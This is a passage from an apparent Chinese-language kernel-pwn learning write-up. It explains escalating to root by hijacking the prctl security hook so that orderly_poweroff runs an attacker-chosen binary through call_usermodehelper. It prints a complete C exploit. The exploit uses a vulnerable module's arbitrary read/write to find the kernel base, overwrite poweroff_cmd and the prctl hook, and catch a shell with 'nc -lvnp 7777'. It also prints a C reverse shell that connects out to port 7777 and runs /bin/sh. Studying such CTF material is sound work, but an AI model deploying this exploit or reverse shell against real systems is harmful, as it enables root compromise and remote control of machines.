image-20211021002640262

而call_usermodehelpe函数启动程序时是以root权限启动的,所以如果我们的程序运行/bin/sh且以root权限启动,那么就完成了提权。

(3)获取地址

①prctl_hook

可以通过编写一个小程序,然后给security_task_prctl函数下断点,运行到call QWORD PTR[rbx+0x18]即可看到对应的rbx+0x18上存放的地址,将其修改为orderly_poweroff函数即可。

②poweroff_cmd、orderly_poweroff

可以直接使用nm命令来获取,或者直接进入gdb打印即可。

image-20211021105456058

此外orderly_poweroff也是一样的获取。如果无法查到,那么可以启动qemu,先设置为root权限后

cat /proc/kallsyms | grep "orderly_poweroff"即可,或者编译一个对应版本的内核进行查询。

image-20211021105603666

▲最后fork一个子进程来触发反弹shell即可

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
// gcc -static exp.c -o exp

//ffffffff812adb90 T security_task_prctl


#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/mman.h>
#include <assert.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/prctl.h>
#include <sys/time.h>
#include <sys/auxv.h>


//poweroff字符串的偏移
#define POWEROFF_CMD 0xe39c40
//orderly_poweroff函数的偏移
#define ORDERLY_POWEROFF 0x070060
//prctl_hook的偏移
#define PRCTL_HOOK 0xe7c7d8;


struct arbWriteNote
{
ssize_t addr;
ssize_t len;
char* data;
};
struct arbWriteNote arbWriteObj;


//open dev
int openDev(char* pos);
int get_gettimeofday_str_offset();

int main(int argc, char *argv[])
{
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);

int devFD;

//open Dev
char* pos = "/dev/arbWriteModule";
devFD = openDev(pos);


// //set comm[TASK_COMM_LEN]
// char target[16];
// strcpy(target,"tryToFindPIG007");
// prctl(PR_SET_NAME,target);


char *buf = (char *)calloc(1,0x1000);


int gettimeofday_str_offset = get_gettimeofday_str_offset();
printf("gettimeofday str in vdso.so offset=0x%x\n",gettimeofday_str_offset);
size_t vdso_addr = -1;
for (size_t addr=0xffffffff80000000;addr < 0xffffffffffffefff;addr += 0x1000) {
//读取一页数据
arbitrary_read(devFD,0x1000,buf,addr);
//如果在对应的偏移处,正好是这个字符串,那么我们就能确定当前就是vdso的地址
//之所以能确定,是因为我们每次读取了0x1000字节数据,也就是1页,而vdso的映射也只是1页
if (!strcmp(buf+gettimeofday_str_offset,"gettimeofday")) {
printf("[+]find vdso.so!!\n");
vdso_addr = addr;
printf("[+]vdso in kernel addr=0x%lx\n",vdso_addr);
break;
}
}
if (vdso_addr == -1) {
printf("[-]can't find vdso.so!!\n");
}

//计算出kernel基地址
size_t kernel_base = vdso_addr & 0xffffffffff000000;
printf("[+]kernel_base=0x%lx\n",kernel_base);
size_t poweroff_cmd_addr = kernel_base + POWEROFF_CMD;
printf("[+]poweroff_cmd_addr=0x%lx\n",poweroff_cmd_addr);
size_t orderly_poweroff_addr = kernel_base + ORDERLY_POWEROFF;
printf("[+]orderly_poweroff_addr=0x%lx\n",orderly_poweroff_addr);
size_t prctl_hook_addr = kernel_base + PRCTL_HOOK;
printf("[+]prctl_hook_addr=0x%lx\n",prctl_hook_addr);
//反弹shell,执行的二进制文件,由call_usermodehelper来执行,自带root
char reverse_command[] = "/reverse_shell";
//修改poweroff_cmd_addr处的字符串为我们需要执行的二进制文件的路径
arbitrary_write(devFD,strlen(reverse_command),reverse_command,poweroff_cmd_addr);
//hijack prctl,使得task_prctl指向orderly_poweroff函数
arbitrary_write(devFD,0x8,&orderly_poweroff_addr,prctl_hook_addr);
if (fork() == 0) { //fork一个子进程,来触发shell的反弹
prctl(0,0);
exit(-1);
} else {
printf("[+]open a shell\n");
system("nc -lvnp 7777");
}

return 0;
}


int openDev(char* pos){
int devFD;
printf("[+] Open %s...\n",pos);
if ((devFD = open(pos, O_RDWR)) < 0) {
printf(" Can't open device file: %s\n",pos);
exit(1);
}
return devFD;
}


//获取vdso里的字符串"gettimeofday"相对vdso.so的偏移
int get_gettimeofday_str_offset() {
//获取当前程序的vdso.so加载地址0x7ffxxxxxxxx
size_t vdso_addr = getauxval(AT_SYSINFO_EHDR);
char* name = "gettimeofday";
if (!vdso_addr) {
printf("[-]error get name's offset\n");
}
//仅需要搜索1页大小即可,因为vdso映射就一页0x1000
size_t name_addr = memmem(vdso_addr, 0x1000, name, strlen(name));
if (name_addr < 0) {
printf("[-]error get name's offset\n");
}
return name_addr - vdso_addr;
}

void arbitrary_read(int devFD,int len,char *buf,size_t addr)
{
arbWriteObj.len = len;
arbWriteObj.data = buf;
arbWriteObj.addr = addr;
ioctl(devFD,111,&arbWriteObj);
}

void arbitrary_write(int devFD,int len,char *buf,size_t addr)
{
arbWriteObj.len = len;
arbWriteObj.data = buf;
arbWriteObj.addr = addr;
ioctl(devFD,222,&arbWriteObj);
}

反弹Shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main(int argc,char *argv[])
{
//system("chmod 777 /flag");


int sockfd,numbytes;
char buf[BUFSIZ];
struct sockaddr_in their_addr;
printf("break!");
while((sockfd = socket(AF_INET,SOCK_STREAM,0)) == -1);
printf("We get the sockfd~\n");
their_addr.sin_family = AF_INET;
their_addr.sin_port = htons(7777);
their_addr.sin_addr.s_addr=inet_addr("127.0.0.1");
bzero(&(their_addr.sin_zero), 8);

while(connect(sockfd,(struct sockaddr*)&their_addr,sizeof(struct sockaddr)) == -1);
dup2(sockfd,0);
dup2(sockfd,1);
dup2(sockfd,2);
system("/bin/sh");

return 0;

}

或者直接system("chmod 777 /flag");也是获取flag的一种方式。

▲vdso的劫持一直没有复现成功过,明明已经劫持gettimeofday函数的内容为shellcode,然后也挂载了循环调用gettimeofday的程序,但是就是运行不了shellcode。

参考:

Kernel Pwn 学习之路 - 番外 - 安全客,安全资讯平台 (anquanke.com)

https://www.jianshu.com/p/07994f8b2bb0

https://blog.csdn.net/seaaseesa/article/details/104695399